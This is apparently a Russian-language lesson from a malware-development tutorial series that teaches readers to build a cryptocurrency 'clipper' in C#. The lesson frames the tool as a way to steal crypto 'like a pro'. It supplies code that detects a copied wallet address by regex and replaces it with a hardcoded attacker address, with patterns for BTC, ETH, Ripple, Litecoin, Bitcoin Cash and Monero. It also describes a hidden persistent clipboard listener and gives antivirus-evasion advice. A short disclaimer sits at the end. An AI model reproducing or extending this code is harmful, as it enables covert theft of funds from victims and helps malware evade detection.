Урок 12: Crypto Clipper — кража криптовалюты как профессионал

Apr 10 2023
Серия разработки вредоносных программ от XIT (C#)
Ниже список тем для Урока 12: 12. Crypto Clipper:⇢ BTC⇢ ETH⇢ Ripple⇢ Litecoin⇢ BTC Cash⇢ Moneromore… В этом уроке мы покажем, как добавить функционал, который может украсть криптовалюту, подменив адрес кошелька пользователя. с адресом злоумышленников.

Ниже приведен список тем для урока 12:

12. Crypto Clipper:
⇢ BTC
⇢ ETH
⇢ Ripple
⇢ Litecoin
⇢ BTC Cash
⇢ Monero
подробнее…

В этом уроке мы покажем, как добавить функционал, который может украсть криптовалюту, заменив адрес кошелька пользователя адресом злоумышленника. В уроке 9 мы узнали о краже криптовалюты из автономных кошельков, присутствующих на целевой машине. В этом уроке мы рассмотрим самые популярные криптовалюты, такие как BTC, ETH, Ripple, Litecoin, BTC Cash и Monero. Вы узнаете, как разработать в вашей вредоносной программе функцию, которая сможет заменить адрес кошелька получателя в буфере обмена на ваш собственный. Эта простая, но эффективная техника может помочь вам незаметно украсть криптовалюту. Присоединяйтесь к нам, чтобы узнать, как стать профессионалом в краже криптовалюты с помощью Crypto Clipper!

Ниже приведено основное понимание работы. Он проверяет адрес пользователя, используя шаблон регулярного выражения, и, если адрес совпадает, заменяет адрес пользователя адресом злоумышленника.

// clipper
// attacker address
string attackerAddress = "1FfmbHfnpaZjKFvyi1okTjJJusN455paPH";

// user address
string userAddress = "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh";

// regex pattern to match user's address
string regexPattern = @"^bc[13][a-zA-HJ-NP-Z0-9]{25,39}$";

// Check address matches regex pattern
if (Regex.IsMatch(userAddress, regexPattern))
{
    // Replace user address with attacker address
    userAddress = attackerAddress;
    
    // Display message to confirm replacement
    Console.WriteLine("User's address has been replaced with attacker's address.");
}
else
{
    // Display message if user's address does not match regex pattern
    Console.WriteLine("User's address is invalid and cannot be replaced.");
}

Ниже приведены шаблоны регулярных выражений для других криптоадресов:

БТД

string regexPattern = @"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$";

Эфириум

string regexPattern = @"^0x[a-fA-F0-9]{40}$";

пульсация

string regexPattern = @"^r[0-9a-zA-Z]{24,34}$";

лайткоин

string regexPattern = @"^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$";

Биткойн Кэш

string regexPattern = @"^([qpzry9x8gf2tvdw0s3jn54khce6mua7l]{42}|(bitcoincash:)?(q|p)[a-z0-9]{41})$";

Монеро

string regexPattern = @"^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$";

Наконец, я скомпилировал все темы урока 12, а также добавил постоянный прослушиватель, чтобы он мог постоянно перечислять значения буфера обмена в фоновом режиме, а также процесс был скрыт, позже он был обнаружен 0 из 26 антивирусных сканирований.

Помните: не делитесь своими незашифрованными сборками или источником вредоносного ПО случайным антивирусным сканерам, используйте только те из них, которые перечислены в приведенной ниже статье, чтобы ваше вредоносное ПО никогда не обнаруживалось:

https://x-it./stop-killing-your-malware-learn-to-perform-safe-scans-for-self-developed-malwares-fe95480a65ed

Заключение

«Клиппер» — это тип вредоносной программы, используемой хакерами для кражи криптовалюты у жертв путем замены адреса их кошелька на адрес злоумышленника. Он может распространяться через фишинговые электронные письма, вредоносные веб-сайты или даже законные магазины приложений. Жертвы могут понести значительные финансовые потери, а использование вредоносных программ клипера является незаконным и неэтичным. Надлежащие методы кибербезопасности могут помочь защититься от вредоносного ПО clipper и других типов кибератак.